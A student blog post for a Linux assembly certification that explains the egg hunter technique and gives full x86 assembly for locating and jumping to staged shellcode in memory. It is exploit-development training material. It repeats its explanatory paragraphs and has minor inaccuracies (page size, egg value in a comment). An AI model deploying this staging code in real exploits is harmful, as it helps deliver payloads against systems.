Assignment #3: Egg Hunter shellcode
The goal for this assignment is to develop a technique called an egg hunter to recursively scan memory pages with the purpose of locating and then executing shellcode without crashing.
Egg hunters are useful in cases where we can't fill in the entire payload on the stack.
It works by searching memory pages, for a unique 4 byte string, once the 4 byte string is found it will JMP to it.
During the scan, egg hunters will determine if an offset to a memory location can be accessed (we need to avoid unallocated memory regions) before iterating through its space.
The egg hunter developed for this assignment uses the int access(const char *pathname, int mode); function to determine if the offset can be accessed.
The int access function returns either a EFAULT response or F_OK depending if the address pointing the the filename is invalid or valid.
To speed up the egg hunter in locating the unique string in memory, we can skip over 4096 bytes or 0x1000. Given its the maximum allocated memory size on a 32 bit machine.
The following includes the egg hunter:
Egg hunters are useful in cases where we can't fill in the entire payload on the stack.
It works by searching memory pages, for a unique 4 byte string, once the 4 byte string is found it will JMP to it.
During the scan, egg hunters will determine if an offset to a memory location can be accessed (we need to avoid unallocated memory regions) before iterating through its space.
The egg hunter developed for this assignment uses the int access(const char *pathname, int mode); function to determine if the offset can be accessed.
The int access function returns either a EFAULT response or F_OK depending if the address pointing the the filename is invalid or valid.
To speed up the egg hunter in locating the unique string in memory, we can skip over 4096 bytes or 0x1000. Given its the maximum allocated memory size on a 32 bit machine.
The following includes the egg hunter:
global _start | |
section .text | |
_start: | |
xor ecx, ecx ; zero out ecx | |
mul ecx ; zero out eax, edx | |
cld ; Clear the direction flag | |
align_page: | |
or dx,0xfff ; initial page size is set to 4095 and then edx is incremented by 1 to obtain 4096 (0x1000) to avoid nulls | |
iter_addr: | |
inc edx | |
lea ebx, [edx+0x4] ; load page into ebx | |
push byte 0x21 ; syscall access() | |
pop eax | |
int 0x80 | |
cmp al, 0xf2 ; check for EFAULT | |
jz align_page ; if zflag = 0 (EFAULT is returned), we need to skip this block (+0x1000 bytes) | |
mov eax,0x90509051 ; mov egg key into eax | |
dec eax ; key[] = 0x90509050 | |
mov edi, edx | |
scasd ; scasd will compare the contents stored in edi with eax (0x50905090) | |
jnz iter_addr ; if the key is not found jump to the next address and compare | |
jmp edi |
The next two images illustrates the c loader for the egg hunter and shellcode, and example of its execution.
https://raw.githubusercontent.com/br0ns0n/SLAE32/master/egg_loader.c |
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: PA-7730
All source files can be found on GitHub at https://github.com/br0ns0n/SLAE32
Comments
Post a Comment